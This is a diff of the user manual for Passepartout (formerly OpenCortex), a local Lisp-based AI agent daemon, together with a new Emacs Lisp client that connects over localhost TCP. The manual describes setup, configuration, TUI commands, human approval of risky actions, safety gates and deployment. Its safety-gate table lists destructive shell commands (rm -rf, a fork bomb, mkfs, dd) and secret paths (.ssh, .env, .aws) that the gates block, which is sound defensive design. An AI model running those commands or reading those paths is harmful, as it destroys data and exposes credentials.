cd opencortex
|
||||
./opencortex.sh setup
|
||||
curl -fsSL https://raw.githubusercontent.com/amrgharbeia/passepartout/main/passepartout | bash -s configure
|
||||
#+end_src
|
||||
|
||||
This process will install SBCL, Quicklisp, and prompt you to create a `.env` file for your API keys.
|
||||
This will:
|
||||
1. Install system dependencies (SBCL, Emacs, git, curl, socat — detected for Debian or Fedora)
|
||||
2. Install Quicklisp (Common Lisp package manager)
|
||||
3. Tangle literate Org sources into runnable Lisp
|
||||
4. Launch the interactive setup wizard (LLM providers, gateways)
|
||||
|
||||
If you already have Emacs installed, the installer skips it and uses your existing installation.
|
||||
|
||||
* Configuration
|
||||
The system is configured via a `.env` file in the project root. Essential variables include:
|
||||
The system is configured via a ~.env~ file in the project root. Essential variables include:
|
||||
|
||||
- `OPENROUTER_API_KEY`: Your LLM provider key.
|
||||
- `PROVIDER_CASCADE`: The fallback order for LLM providers (e.g., `openrouter,ollama,anthropic`).
|
||||
- `MEMEX_DIR`: The absolute path to your knowledge base (defaults to `~/memex`).
|
||||
- ~OPENROUTER_API_KEY~: Your LLM provider key.
|
||||
- ~PROVIDER_CASCADE~: The fallback order for LLM providers (e.g., ~openrouter,ollama,anthropic~).
|
||||
- ~MEMEX_DIR~: The absolute path to your knowledge base (defaults to ~/memex~).
|
||||
|
||||
* Interacting with OpenCortex
|
||||
* Interacting with Passepartout
|
||||
Because of the Unified Envelope Architecture, the kernel treats all clients as interchangeable. You must first boot the background daemon:
|
||||
|
||||
#+begin_src bash
|
||||
./opencortex.sh --boot &
|
||||
./passepartout --boot &
|
||||
#+end_src
|
||||
|
||||
** Terminal User Interface (TUI)
|
||||
For a rich, split-pane terminal experience:
|
||||
#+begin_src bash
|
||||
./opencortex.sh tui
|
||||
./passepartout tui
|
||||
#+end_src
|
||||
|
||||
** Command Line Interface (CLI)
|
||||
For raw, pipe-friendly interaction:
|
||||
#+begin_src bash
|
||||
./opencortex.sh cli
|
||||
./passepartout cli
|
||||
#+end_src
|
||||
|
||||
** Emacs Integration
|
||||
OpenCortex functions as your "foveal vision" inside Emacs.
|
||||
1. Ensure `org-agent.el` is loaded.
|
||||
2. Run `M-x opencortex-connect`.
|
||||
3. Interact via the `*opencortex-chat*` buffer.
|
||||
** TUI Commands
|
||||
|
||||
When connected via the TUI, the following commands are available (type them in the input area and press Enter):
|
||||
|
||||
| Command | Action |
|
||||
|-----------------------+--------------------------------------------------------|
|
||||
| ~/help~ | List all available commands |
|
||||
| ~/focus <project>~ | Set the agent's foveal focus to a project by name |
|
||||
| ~/scope memex~ | Set scope to full memex (all projects visible) |
|
||||
| ~/scope session~ | Set scope to current session only |
|
||||
| ~/scope project~ | Set scope to focused project only |
|
||||
| ~/unfocus~ | Clear the foveal focus |
|
||||
| ~/approve HITL-xxxx~ | Approve a pending HITL action by its token |
|
||||
| ~/deny HITL-xxxx~ | Deny a pending HITL action by its token |
|
||||
| ~/theme <name>~ | Switch theme (dark, light, solarized, gruvbox) |
|
||||
| ~/cost~ | Toggle session cost display in status bar |
|
||||
| ~/voice on~ | Enable voice capture (planned v0.7.3) |
|
||||
| ~/voice off~ | Disable voice capture |
|
||||
| ~/quit~ | Save history and exit (planned v0.3.3) |
|
||||
|
||||
For multi-line input, start the line with ~\~ then press Enter to insert a newline without sending.
|
||||
|
||||
** Human-in-the-Loop Approval
|
||||
|
||||
When the Dispatcher blocks a high-risk action (shell command, network call, core file modification), it creates a Flight Plan requiring your approval.
|
||||
|
||||
1. The TUI displays a yellow message: ~→ HITL required: /approve HITL-ab12~
|
||||
2. Review the proposed action in the Dispatcher trace (expand with Tab)
|
||||
3. Type ~/approve HITL-ab12~ to approve, or ~/deny HITL-ab12~ to deny
|
||||
4. Approved actions are re-injected into the pipeline and executed
|
||||
5. Denied actions are discarded and the Dispatcher records the decision as a permanent rule
|
||||
|
||||
Each approval or denial teaches the Dispatcher — the rule counter in the status bar (~[Rules: 47]~) increments with every decision.
|
||||
|
||||
* The Memex Structure
|
||||
OpenCortex assumes a local folder structure representing your "Memex".
|
||||
Passepartout assumes a local folder structure representing your "Memex".
|
||||
- Core memories and identities are mapped to Org-mode files.
|
||||
- The `Scribe` background worker distills chronological logs into structured Zettelkasten notes.
|
||||
- The `Gardener` continuously repairs broken links and flags orphaned nodes.
|
||||
- The ~Scribe~ background worker distills chronological logs into structured Zettelkasten notes.
|
||||
- The ~Gardener~ continuously repairs broken links and flags orphaned nodes.
|
||||
|
||||
* How Safety Works
|
||||
|
||||
Passepartout enforces safety through ten deterministic gates. Every action the agent wants to take — reading a file, running a shell command, sending network traffic — passes through these gates before execution. Critically, all ten gates are pure Lisp functions: they cost zero LLM tokens to evaluate. Safety checking never touches your provider budget.
|
||||
|
||||
** The Ten Safety Gates
|
||||
|
||||
| Gate | What It Checks |
|
||||
|------+----------------|
|
||||
| Lisp syntax | Validates that any Lisp code is well-formed before evaluation |
|
||||
| Secret file paths | Blocks reads from known secret directories (~.ssh~, ~.env~, ~.aws~, etc.) |
|
||||
| Self-build core | Prevents modification of the agent's own source and build files |
|
||||
| Secret content | Scans text output for API keys, tokens, or credential patterns |
|
||||
| Vault secrets | Guards any secret stored in the encrypted vault |
|
||||
| Privacy tags | Respects ~@privacy:~ annotations on memory objects and files |
|
||||
| Privacy text leaks | Scans outgoing text for PII (emails, phone numbers, addresses) |
|
||||
| Shell safety | Blocks destructive commands (~rm -rf~, ~:(){:|:&};:~, ~mkfs~, ~dd~) |
|
||||
| Network exfiltration | Blocks outbound traffic carrying private data to unknown hosts |
|
||||
| High-impact actions | Catches system-level changes (package installs, service restarts, mount) |
|
||||
|
||||
** Severity Tiers
|
||||
|
||||
Each gate assigns a severity to the action it inspects:
|
||||
|
||||
| Severity | Behavior |
|
||||
|------------+-------------------------------------------------------|
|
||||
| Catastrophic | Always blocked. No approval possible. |
|
||||
| Dangerous | Requires HITL approval. Generates a Flight Plan. |
|
||||
| Moderate | Allowed, but logged. The agent learns from the outcome. |
|
||||
| Harmless | Always allowed. No logging overhead. |
|
||||
|
||||
** What Happens When an Action Is Blocked
|
||||
|
||||
When a gate blocks an action, the Dispatcher creates a Flight Plan — a structured record of what the agent wants to do, why it was blocked, and which gate triggered. The Flight Plan is presented to you for review. You can approve it (~/approve~), deny it (~/deny~), or ask the agent to clarify its intent (~/clarify~). Once you approve, the action executes immediately. Once you deny, the Dispatcher records the decision as a permanent rule and will never propose that action again.
|
||||
|
||||
* Understanding Context and Focus
|
||||
|
||||
Passepartout uses a foveal-peripheral context model, inspired by human vision. This is how the agent decides what to pay attention to in your Memex.
|
||||
|
||||
** The Three Levels of Attention
|
||||
|
||||
- ~/foveal/~ — What the agent reads deeply and reasons about right now. Anything you explicitly mention, plus the current focused project.
|
||||
- ~/peripheral/~ — What the agent knows exists (titles, summaries, metadata) but does not read in detail. Everything in scope.
|
||||
- ~/blind/~ — Outside scope. The agent cannot see or access it.
|
||||
|
||||
** Focus Commands
|
||||
|
||||
| Command | Effect |
|
||||
|---------------------+---------------------------------------------------------|
|
||||
| ~/focus <project>~ | Set the agent's foveal attention to a project |
|
||||
| ~/scope memex~ | Expand scope to everything in your Memex |
|
||||
| ~/scope session~ | Narrow scope to just the current conversation |
|
||||
| ~/scope project~ | Narrow scope to the focused project only |
|
||||
| ~/unfocus~ | Clear the foveal focus; the agent sees everything at peripheral level |
|
||||
|
||||
** The Focus Map
|
||||
|
||||
The status bar displays a focus map — a compact representation of what the agent is "looking at." Projects in foveal view are highlighted; peripheral projects are dimmed. When you change focus, the map updates in real time so you always know the agent's current attention budget.
|
||||
|
||||
* Skills and What They Do
|
||||
|
||||
Skills are hot-reloadable modules that extend the agent's capabilities. Unlike core system files, a bug in a skill degrades the agent but does not kill it — skills can be repaired by the agent itself. Skills are organized into categories by function:
|
||||
|
||||
** Core Pipeline
|
||||
The agent's cognitive loop: Perceive (consume input) → Reason (think with the LLM) → Act (execute tools). This is the central nervous system of the agent.
|
||||
|
||||
** Security
|
||||
~Dispatcher~, ~Policy~, ~Permissions~, ~Validator~, ~Vault~. These skills enforce the safety gates, manage approval workflows, encrypt secrets, and verify that every action conforms to the rules you have set.
|
||||
|
||||
** Channels
|
||||
~TUI~, ~CLI~, ~Telegram~, ~Signal~, ~Discord~, ~Slack~, ~Shell~. Each channel is a separate skill that handles I/O for a specific interface. All channels are equal citizens — the agent treats a message from Telegram identically to one typed in the TUI.
|
||||
|
||||
** Programming
|
||||
~Lisp~, ~Org~, literate tools, ~REPL~, standards libraries. These skills allow the agent to write, evaluate, and reason about Lisp code, manage Org-mode documents, and tangle literate programs into runnable source.
|
||||
|
||||
** Symbolic
|
||||
~Awareness~, ~Scope~, ~Events~, ~Config~, ~Memory~, ~Identity~, ~Time~. These skills manage the agent's internal state: what it knows about itself, what it remembers, how it configures its behavior, and how it tracks time and events.
|
||||
|
||||
** Neuro
|
||||
~Provider~, ~Router~, ~Explorer~. These skills manage the LLM backends. The Provider skill abstracts each LLM API; the Router decides which provider to use based on cost, latency, and availability; the Explorer discovers new providers.
|
||||
|
||||
** Embedding
|
||||
Backends for semantic search and native inference. These skills enable the agent to embed text, search your Memex by meaning rather than exact keyword, and run local inference without network calls.
|
||||
|
||||
** Economics
|
||||
~Tokenizer~, ~Cost Tracker~, ~Token Economics~. These skills count tokens, estimate costs before making LLM calls, track spending across providers, and enforce budget limits.
|
||||
|
||||
* The Tool System
|
||||
|
||||
The agent has ten cognitive tools — discrete actions it can take to interact with your environment. Each tool maps to a specific capability.
|
||||
|
||||
** Read-Only Tools
|
||||
|
||||
| Tool | What It Does |
|
||||
|-------------------+---------------------------------------------|
|
||||
| ~search-files~ | Search file contents with regex patterns |
|
||||
| ~find-files~ | Find files by name using glob patterns |
|
||||
| ~read-file~ | Read the contents of a file on disk |
|
||||
| ~list-directory~ | List the contents of a directory |
|
||||
| ~org-find-headline~ | Find a headline in an Org-mode file |
|
||||
|
||||
** Write Tools
|
||||
|
||||
| Tool | What It Does |
|
||||
|-------------------+---------------------------------------------|
|
||||
| ~write-file~ | Create or overwrite a file on disk |
|
||||
| ~org-modify-file~ | Modify an Org-mode file structurally |
|
||||
| ~run-shell~ | Execute a shell command |
|
||||
| ~eval-form~ | Evaluate a Lisp expression |
|
||||
| ~run-tests~ | Execute a test suite |
|
||||
|
||||
** Auto-Approval
|
||||
|
||||
Write tools are subject to safety-gate inspection. Read-only tools are auto-approved by default (though the agent still checks for secret-file reads). You can configure per-tool auto-approval in your ~.env~ file with the ~AUTO_APPROVE_TOOLS~ variable:
|
||||
|
||||
#+begin_src bash
|
||||
# Auto-approve read-file and find-files (default)
|
||||
AUTO_APPROVE_TOOLS=read-file,find-files,list-directory,search-files
|
||||
#+end_src
|
||||
|
||||
* Cost Tracking
|
||||
|
||||
Every LLM call costs tokens, and tokens cost money. Passepartout tracks this transparently.
|
||||
|
||||
** Token Budgets
|
||||
|
||||
Set ~CONTEXT_MAX_TOKENS~ in your ~.env~ file to cap the total context window the agent may use per interaction:
|
||||
|
||||
#+begin_src bash
|
||||
CONTEXT_MAX_TOKENS=128000
|
||||
#+end_src
|
||||
|
||||
The agent will truncate older context rather than exceed this limit.
|
||||
|
||||
** Per-Call Cost Tracking
|
||||
|
||||
Before every LLM call, the Economics skill estimates the cost (prompt tokens + expected completion tokens) and checks it against your budget. After the call, it records actual usage. The status bar shows your session total.
|
||||
|
||||
** The ~/cost~ Command
|
||||
|
||||
Toggle cost display in the status bar with ~/cost~. When enabled, you'll see a running total like ~[$0.047]~ showing the estimated cost of the current session.
|
||||
|
||||
** Per-Provider Pricing
|
||||
|
||||
Different providers charge different rates. The Router skill is aware of this and will choose the cheapest viable provider for each call unless you pin a specific provider:
|
||||
|
||||
#+begin_src bash
|
||||
# Pin to a specific provider
|
||||
PROVIDER_CASCADE=anthropic
|
||||
#+end_src
|
||||
|
||||
** Prompt Prefix Caching
|
||||
|
||||
Providers that support prefix caching (Claude via Anthropic, some OpenRouter models) automatically benefit from it. The agent reuses the system prompt prefix across calls, and the Economics skill tracks the cache-hit savings separately in the cost breakdown.
|
||||
|
||||
* Session Control
|
||||
|
||||
Passepartout maintains a session history with checkpointed memory snapshots. You can move backward and forward through your session state.
|
||||
|
||||
** Undo and Redo
|
||||
|
||||
| Command | Effect |
|
||||
|--------------+----------------------------------------------------------|
|
||||
| ~/undo~ | Restore the memory to the state before your last action |
|
||||
| ~/redo~ | Re-apply the last undone action |
|
||||
| ~/rewind <n>~ | Restore the memory to the state n actions ago |
|
||||
|
||||
** What Gets Restored
|
||||
|
||||
A session rewind restores three things: file changes (files written or modified are reverted), memory objects (the agent's internal knowledge), and TODO states (the roadmap and task tracking). This means you can safely let the agent explore and experiment — if it goes down a wrong path, rewind and redirect.
|
||||
|
||||
* Gate Trace Reference
|
||||
|
||||
Below every agent message in the TUI, you'll see colored lines representing the safety-gate trace for that message. These show you exactly which gates ran on the agent's actions and what happened.
|
||||
|
||||
| Symbol | Meaning |
|
||||
|--------+------------------------------------------------------------|
|
||||
| ~✓~ | Green — the gate passed. The action was allowed. |
|
||||
| ~✗~ | Red — the gate blocked the action. The reason is shown. |
|
||||
| ~→~ | Yellow — HITL approval required. A Flight Plan is pending. |
|
||||
|
||||
Press ~Ctrl+G~ to toggle gate trace visibility on and off. The most recent gate trace for your last interaction is always available via the ~/why~ command — type ~/why~ and the agent will display the full trace with explanations.
|
||||
|
||||
* Tag System
|
||||
|
||||
Passepartout uses an Org-mode tag system to annotate and control behavior. Tags are metadata appended to headlines and memory objects.
|
||||
|
||||
** Severity Tags
|
||||
|
||||
The ~@tag:severity~ tier controls how strictly the safety system handles a tagged item:
|
||||
|
||||
| Tag | Behavior |
|
||||
|------------------+--------------------------------------------------------------|
|
||||
| ~@tag:block~ | The tagged item is treated as catastrophic — always blocked |
|
||||
| ~@tag:warn~ | The tagged item triggers HITL approval when accessed |
|
||||
| ~@tag:log~ | Access is allowed but logged for audit |
|
||||
|
||||
** Tag Categories
|
||||
|
||||
Configure which tags trigger which behavior with the ~TAG_CATEGORIES~ environment variable:
|
||||
|
||||
#+begin_src bash
|
||||
TAG_CATEGORIES=block:warn:log
|
||||
#+end_src
|
||||
|
||||
** The ~/tags~ Command
|
||||
|
||||
Type ~/tags~ to list all tags currently active in the agent's scope, along with their severity levels and the files or memory objects they apply to.
|
||||
|
||||
* HITL Deep Dive
|
||||
|
||||
When the Safety system blocks an action, a structured workflow begins. Understanding this workflow helps you make informed approval decisions quickly.
|
||||
|
||||
** The Flight Plan Lifecycle
|
||||
|
||||
1. /Trigger/: A gate rates an action Dangerous or Catastrophic, or a ~@tag:warn~ tag is encountered.
|
||||
2. /Plan/: The Dispatcher serializes the proposed action into a Flight Plan: what tool, what arguments, what file or command, which gate triggered.
|
||||
3. /Display/: The TUI shows a yellow prompt with the Flight Plan token (~HITL-ab12~).
|
||||
4. /Review/: Press ~Tab~ to expand the gate trace and see the full Flight Plan details.
|
||||
5. /Decision/: You type ~/approve HITL-ab12~ or ~/deny HITL-ab12~.
|
||||
6. /Execute or Discard/: Approved plans execute immediately. Denied plans are discarded.
|
||||
7. /Learn/: The Dispatcher increments its rule counter and records the decision as a permanent rule. If you denied an action, the Dispatcher will never propose it again.
|
||||
|
||||
** Clarifying Questions
|
||||
|
||||
If you are unsure why the agent wants to perform an action, you can ignore the Flight Plan prompt. After three retries without a decision, the agent escalates by injecting a ~/clarify~ message into the pipeline, asking the agent to explain its intent in plain language. You can then approve or deny with full context.
|
||||
|
||||
** The Rule Counter
|
||||
|
||||
The status bar shows ~[Rules: N]~ — the number of permanent rules the Dispatcher has learned from your decisions. Each approval or denial is a learning event. Over time, the Dispatcher builds a personalized safety profile that reflects your preferences: which actions you always approve, which you always deny, and which you want to review case by case.
|
||||
|
||||
* TUI Keybinding Reference
|
||||
|
||||
The TUI supports a rich set of keyboard shortcuts for efficient interaction.
|
||||
|
||||
** Editing Keys
|
||||
|
||||
| Combo | Action |
|
||||
|-----------+-------------------------------------------|
|
||||
| ~Ctrl+D~ | Quit the TUI |
|
||||
| ~Ctrl+U~ | Clear the current input line |
|
||||
| ~Ctrl+W~ | Delete the word before the cursor |
|
||||
| ~Ctrl+A~ | Move cursor to beginning of line (Home) |
|
||||
| ~Ctrl+E~ | Move cursor to end of line |
|
||||
| ~Ctrl+K~ | Delete from cursor to end of line |
|
||||
| ~Ctrl+L~ | Redraw the screen |
|
||||
| ~Ctrl+X+E~ | Open the current input in your external editor (~$EDITOR~) |
|
||||
| ~Tab~ | Autocomplete commands, themes, and file paths |
|
||||
|
||||
** Navigation and Control
|
||||
|
||||
| Combo | Action |
|
||||
|------------------+--------------------------------------------------|
|
||||
| ~Ctrl+C~ | Interrupt (cascade: stop streaming → stop thinking → quit) |
|
||||
| ~Ctrl+F~ | Search through message history |
|
||||
| ~Ctrl+P~ | Open the command palette |
|
||||
| ~Ctrl+G~ | Toggle gate trace visibility |
|
||||
| ~Ctrl+X+B~ | Toggle the sidebar (focus map, memory browser) |
|
||||
| ~Page Up~ | Scroll chat up by 10 lines |
|
||||
| ~Page Down~ | Scroll chat down by 10 lines |
|
||||
| ~Up Arrow~ | Previous input in command history |
|
||||
| ~Down Arrow~ | Next input in command history |
|
||||
|
||||
** The Status Bar
|
||||
|
||||
The status bar at the bottom of the TUI shows the agent's current state at a glance. Each indicator has a specific meaning:
|
||||
|
||||
| Indicator | Meaning |
|
||||
|------------------+--------------------------------------------------------------------|
|
||||
| ~[Connected]~ | Green — daemon is reachable on port 9105. Gray — disconnected. |
|
||||
| ~[Mode: TUI]~ | The current interaction mode (TUI, CLI, Telegram, etc.) |
|
||||
| ~[Msg: 142]~ | Total messages in the current session |
|
||||
| ~[↑ 12]~ | Scroll indicator — you are scrolled up 12 lines from the bottom |
|
||||
| ~[◉]~ | Activity spinner — spinning means the agent is working |
|
||||
| ~[⟳]~ | Streaming indicator — shown while the agent is generating text |
|
||||
| ~[$0.047]~ | Session cost (visible when ~/cost~ is toggled on) |
|
||||
| ~[Rules: 52]~ | Number of permanent HITL rules learned from your decisions |
|
||||
| ~[prj:my-proj]~ | Current focused project name |
|
||||
|
||||
* Deployment
|
||||
|
||||
** Bare metal (Debian / Fedora)
|
||||
|
||||
The ~configure~ command supports both Debian-based (Ubuntu, Pop, Mint) and Fedora-based (RHEL, Rocky) distributions. It detects your distro automatically and installs the correct packages.
|
||||
|
||||
#+begin_src bash
|
||||
./passepartout configure # interactive
|
||||
./passepartout configure --non-interactive # headless
|
||||
./passepartout configure --with-firewall # also open port 9105
|
||||
#+end_src
|
||||
|
||||
After configuration, you can re-run ~configure~ any time to add providers or link gateways.
|
||||
|
||||
** Binary install (save-lisp-and-die)
|
||||
|
||||
For platforms where SBCL cannot be installed (corporate laptops, shared hosts, constrained environments), a self-contained binary is provided:
|
||||
|
||||
#+begin_src bash
|
||||
curl -fsSL https://github.com/amrgharbeia/passepartout/releases/latest/download/passepartout -o passepartout
|
||||
chmod +x passepartout
|
||||
./passepartout daemon
|
||||
#+end_src
|
||||
|
||||
This binary bundles SBCL, all required Lisp code, native embedding inference, and a Swank server on port 4005. The experience is identical to a source install — the REPL is available, skills hot-reload, and the image is mutable. Memory survives snapshots.
|
||||
|
||||
The binary is a convenience for constrained platforms. It is not a sealed container. The system remains constitutionally open — connect with SLIME, trace functions, inspect memory objects, modify the system while it runs.
|
||||
|
||||
** systemd service (auto-start on boot)
|
||||
|
||||
#+begin_src bash
|
||||
./passepartout install service
|
||||
#+end_src
|
||||
|
||||
Installs a user-level systemd unit that starts the daemon on login. Logs are available via ~journalctl --user -u passepartout.service -f~.
|
||||
|
||||
To remove:
|
||||
|
||||
#+begin_src bash
|
||||
./passepartout uninstall service
|
||||
#+end_src
|
||||
|
||||
** Docker
|
||||
|
||||
A Debian-based Docker image is provided for containerized deployment.
|
||||
|
||||
#+begin_src bash
|
||||
cd infrastructure/docker
|
||||
docker-compose up -d
|
||||
#+end_src
|
||||
|
||||
This builds an image from ~debian:trixie-slim~ with all dependencies pre-installed. The memex directory is mounted from the host.
|
||||
|
||||
** Backup
|
||||
|
||||
#+begin_src bash
|
||||
./passepartout backup ~/my-backup.tar.gz
|
||||
#+end_src
|
||||
|
||||
Backs up the config, data, and memex directories.
|
||||
|
||||
** Restore
|
||||
|
||||
#+begin_src bash
|
||||
./passepartout restore ~/my-backup.tar.gz
|
||||
#+end_src
|
||||
|
||||
Restores from a backup file. Run ~passepartout doctor~ afterward to verify integrity.
|
||||
|
||||
* Troubleshooting
|
||||
|
||||
** The daemon won't start
|
||||
- Check SBCL is installed: ~which sbcl~
|
||||
- Run ~passepartout doctor~ to diagnose
|
||||
- Check port 9105 is free: ~lsof -i :9105~
|
||||
- Check the log output for errors
|
||||
|
||||
** The TUI connects but shows "Disconnected"
|
||||
- The daemon may have crashed. Run ~passepartout daemon~ in another terminal
|
||||
- If the daemon is running, check it's listening: ~lsof -i :9105~
|
||||
- Use ~/reconnect~ (planned v0.6.0) to reconnect without restarting the TUI
|
||||
|
||||
** The LLM returns garbage or fails to respond
|
||||
- Run ~passepartout doctor~ to verify your LLM provider keys
|
||||
- Check ~PROVIDER_CASCADE~ in your ~.env~ file
|
||||
- Try switching models: edit ~.env~ and restart the daemon
|
||||
- If using local models via Ollama, verify Ollama is running: ~ollama list~
|
||||
|
||||
** Memory fails to load on startup
|
||||
- Check ~/memory.snap~ exists and is valid S-expression format
|
||||
- Run ~passepartout doctor~ to diagnose memory integrity
|
||||
- If corrupted, delete ~/memory.snap~ and restart — the daemon starts with empty memory
|
||||
|
||||
214
extras/passepartout.el
Normal file
214
extras/passepartout.el
Normal file
@@ -0,0 +1,214 @@
|
||||
;;; passepartout.el --- Emacs bridge for Passepartout AI assistant -*- lexical-binding: t; -*-
|
||||
|
||||
;; Author: Passepartout Project
|
||||
;; Version: 0.4.0
|
||||
;; Keywords: tools, processes, lisp
|
||||
;; URL: https://github.com/amrgharbeia/passepartout
|
||||
|
||||
;;; Commentary:
|
||||
|
||||
;; Connects to the Passepartout daemon on localhost:9105 via TCP.
|
||||
;; Speaks the framed plist protocol — 6-character hex length prefix
|
||||
;; followed by a prin1'd S-expression — identical to the TUI and CLI.
|
||||
;; The daemon does not know or care whether the client is the Croatoan
|
||||
;; TUI, the CLI, or Emacs.
|
||||
|
||||
;; Framed protocol (per core-communication.org):
|
||||
;; SEND: 6-char hex length + prin1'd plist
|
||||
;; RECV: read 6-char header → parse hex length → read N bytes →
|
||||
;; read-from-string (with read-eval nil on daemon side)
|
||||
|
||||
;; Usage:
|
||||
;; M-x passepartout RET — connect to daemon, open response buffer
|
||||
;; M-x passepartout-send-region — send selected region as user-input
|
||||
;; M-x passepartout-send-buffer — send entire buffer
|
||||
;; M-x passepartout-disconnect — close connection
|
||||
|
||||
;;; Code:
|
||||
|
||||
(require 'cl-lib)
|
||||
|
||||
(defgroup passepartout nil
|
||||
"Emacs bridge for Passepartout AI assistant."
|
||||
:group 'applications)
|
||||
|
||||
(defcustom passepartout-host "127.0.0.1"
|
||||
"Host where the Passepartout daemon is running."
|
||||
:type 'string
|
||||
:group 'passepartout)
|
||||
|
||||
(defcustom passepartout-port 9105
|
||||
"Port where the Passepartout daemon is listening."
|
||||
:type 'integer
|
||||
:group 'passepartout)
|
||||
|
||||
(defvar passepartout-process nil
|
||||
"Network process for the Passepartout connection.")
|
||||
|
||||
(defvar passepartout--buffer ""
|
||||
"Accumulation buffer for partial framed messages.")
|
||||
|
||||
(defvar passepartout-response-buffer-name "*passepartout*"
|
||||
"Name of the buffer where daemon responses are rendered.")
|
||||
|
||||
;;;###autoload
|
||||
(defun passepartout ()
|
||||
"Connect to the Passepartout daemon and open the response buffer."
|
||||
(interactive)
|
||||
(unless (and passepartout-process (process-live-p passepartout-process))
|
||||
(setq passepartout-process
|
||||
(make-network-process
|
||||
:name "passepartout"
|
||||
:host passepartout-host
|
||||
:service passepartout-port
|
||||
:filter #'passepartout--filter
|
||||
:sentinel #'passepartout--sentinel
|
||||
:coding 'utf-8-unix
|
||||
:noquery t))
|
||||
(setq passepartout--buffer ""))
|
||||
(switch-to-buffer (get-buffer-create passepartout-response-buffer-name))
|
||||
(passepartout-response-mode)
|
||||
(message "Passepartout: connecting to %s:%d..." passepartout-host passepartout-port))
|
||||
|
||||
(defun passepartout-disconnect ()
|
||||
"Disconnect from the Passepartout daemon."
|
||||
(interactive)
|
||||
(when passepartout-process
|
||||
(delete-process passepartout-process)
|
||||
(setq passepartout-process nil
|
||||
passepartout--buffer "")
|
||||
(message "Passepartout: disconnected.")))
|
||||
|
||||
;;; Protocol: framing
|
||||
|
||||
(defun passepartout--frame-message (msg)
|
||||
"Serialize MSG as a framed plist: 6-char hex length + prin1 output."
|
||||
(let* ((payload (prin1-to-string msg))
|
||||
(len (string-bytes payload)))
|
||||
(format "%06x%s" len payload)))
|
||||
|
||||
(defun passepartout--send (msg)
|
||||
"Send a framed message to the daemon."
|
||||
(when (and passepartout-process (process-live-p passepartout-process))
|
||||
(process-send-string passepartout-process (passepartout--frame-message msg))))
|
||||
|
||||
;;; Protocol: receive
|
||||
|
||||
(defun passepartout--filter (proc string)
|
||||
"Accumulate data and extract complete framed messages."
|
||||
(setq passepartout--buffer (concat passepartout--buffer string))
|
||||
(while (>= (length passepartout--buffer) 6)
|
||||
(let* ((hex-len (substring passepartout--buffer 0 6))
|
||||
(len (condition-case nil
|
||||
(string-to-number hex-len 16)
|
||||
(error nil))))
|
||||
(if (not len)
|
||||
(progn
|
||||
(setq passepartout--buffer (substring passepartout--buffer 1))
|
||||
(message "Passepartout: invalid frame header, skipping byte"))
|
||||
(let ((total-needed (+ 6 len)))
|
||||
(if (>= (length passepartout--buffer) total-needed)
|
||||
(let* ((payload-str (substring passepartout--buffer 6 total-needed))
|
||||
(msg (condition-case nil
|
||||
(read-from-string payload-str)
|
||||
(error nil))))
|
||||
(setq passepartout--buffer (substring passepartout--buffer total-needed))
|
||||
(when msg
|
||||
(passepartout--handle-message msg)))
|
||||
;; Need more data, wait for next chunk
|
||||
(setq passepartout--buffer passepartout--buffer)))))))
|
||||
|
||||
(defun passepartout--sentinel (proc event)
|
||||
"Handle connection state changes."
|
||||
(when (string-match-p "closed\\|failed" event)
|
||||
(setq passepartout-process nil
|
||||
passepartout--buffer "")
|
||||
(with-current-buffer (get-buffer-create passepartout-response-buffer-name)
|
||||
(let ((inhibit-read-only t))
|
||||
(goto-char (point-max))
|
||||
(insert (format "* Connection lost: %s\n\n" event))))
|
||||
(message "Passepartout: connection lost (%s)" event)))
|
||||
|
||||
;;; Message handling
|
||||
|
||||
(defun passepartout--handle-message (msg)
|
||||
"Process a parsed daemon message and render in the response buffer."
|
||||
(with-current-buffer (get-buffer-create passepartout-response-buffer-name)
|
||||
(let ((inhibit-read-only t)
|
||||
(payload (when (listp msg) (plist-get msg :PAYLOAD)))
|
||||
(gate-trace (when (listp msg) (plist-get msg :GATE-TRACE))))
|
||||
(goto-char (point-max))
|
||||
(cond
|
||||
;; Agent text response
|
||||
((and payload (plist-get payload :TEXT))
|
||||
(insert (format "* Agent [%s]\n%s\n"
|
||||
(format-time-string "%H:%M")
|
||||
(plist-get payload :TEXT)))
|
||||
(when gate-trace
|
||||
(passepartout--render-gate-trace gate-trace))
|
||||
(insert "\n"))
|
||||
;; Handshake
|
||||
((and payload (eq (plist-get payload :ACTION) :HANDSHAKE))
|
||||
(insert (format "* Connected to Passepartout v%s\n\n"
|
||||
(or (plist-get payload :VERSION) "?"))))
|
||||
;; Rule count / foveal update — display in mode line
|
||||
((and payload (plist-get payload :RULE-COUNT))
|
||||
(setq passepartout-rule-count (plist-get payload :RULE-COUNT))
|
||||
(force-mode-line-update))
|
||||
;; Fallback: dump raw
|
||||
(t
|
||||
(insert (format "* [%s] %s\n\n"
|
||||
(format-time-string "%H:%M")
|
||||
(prin1-to-string msg))))))))
|
||||
|
||||
(defvar passepartout-rule-count 0
|
||||
"Number of pending HITL rules from the Dispatcher.")
|
||||
|
||||
(defun passepartout--render-gate-trace (trace)
|
||||
"Render the gate trace as property drawer entries."
|
||||
(insert ":PROPERTIES:\n")
|
||||
(dolist (entry trace)
|
||||
(when (listp entry)
|
||||
(let ((gate (plist-get entry :GATE))
|
||||
(result (plist-get entry :RESULT)))
|
||||
(insert (format ":GATE: %s — %s\n"
|
||||
(if gate (symbol-name gate) "?")
|
||||
(symbol-name result))))))
|
||||
(insert ":END:\n"))
|
||||
|
||||
;;; Interactive commands
|
||||
|
||||
(defun passepartout-send-region (beg end)
|
||||
"Send the selected region as user input to Passepartout."
|
||||
(interactive "r")
|
||||
(unless passepartout-process
|
||||
(passepartout))
|
||||
(let ((text (buffer-substring-no-properties beg end)))
|
||||
(passepartout--send (list :TYPE :EVENT
|
||||
:PAYLOAD (list :SENSOR :user-input :TEXT text)))
|
||||
(message "Passepartout: sent %d chars" (length text))))
|
||||
|
||||
(defun passepartout-send-buffer ()
|
||||
"Send the entire buffer content as user input to Passepartout."
|
||||
(interactive)
|
||||
(unless passepartout-process
|
||||
(passepartout))
|
||||
(passepartout-send-region (point-min) (point-max)))
|
||||
|
||||
;;; Response buffer mode
|
||||
|
||||
(defvar passepartout-response-mode-map
|
||||
(let ((map (make-sparse-keymap)))
|
||||
(define-key map (kbd "q") #'quit-window)
|
||||
(define-key map (kbd "g") #'passepartout)
|
||||
map)
|
||||
"Keymap for `passepartout-response-mode'.")
|
||||
|
||||
(define-derived-mode passepartout-response-mode special-mode "Passepartout"
|
||||
"Major mode for viewing Passepartout daemon responses.
|
||||
\\{passepartout-response-mode-map}"
|
||||
(setq buffer-read-only t)
|
||||
(setq-local font-lock-defaults nil))
|
||||
|
||||
(provide 'passepartout)
|
||||
;;; passepartout.el ends here
|
||||
133
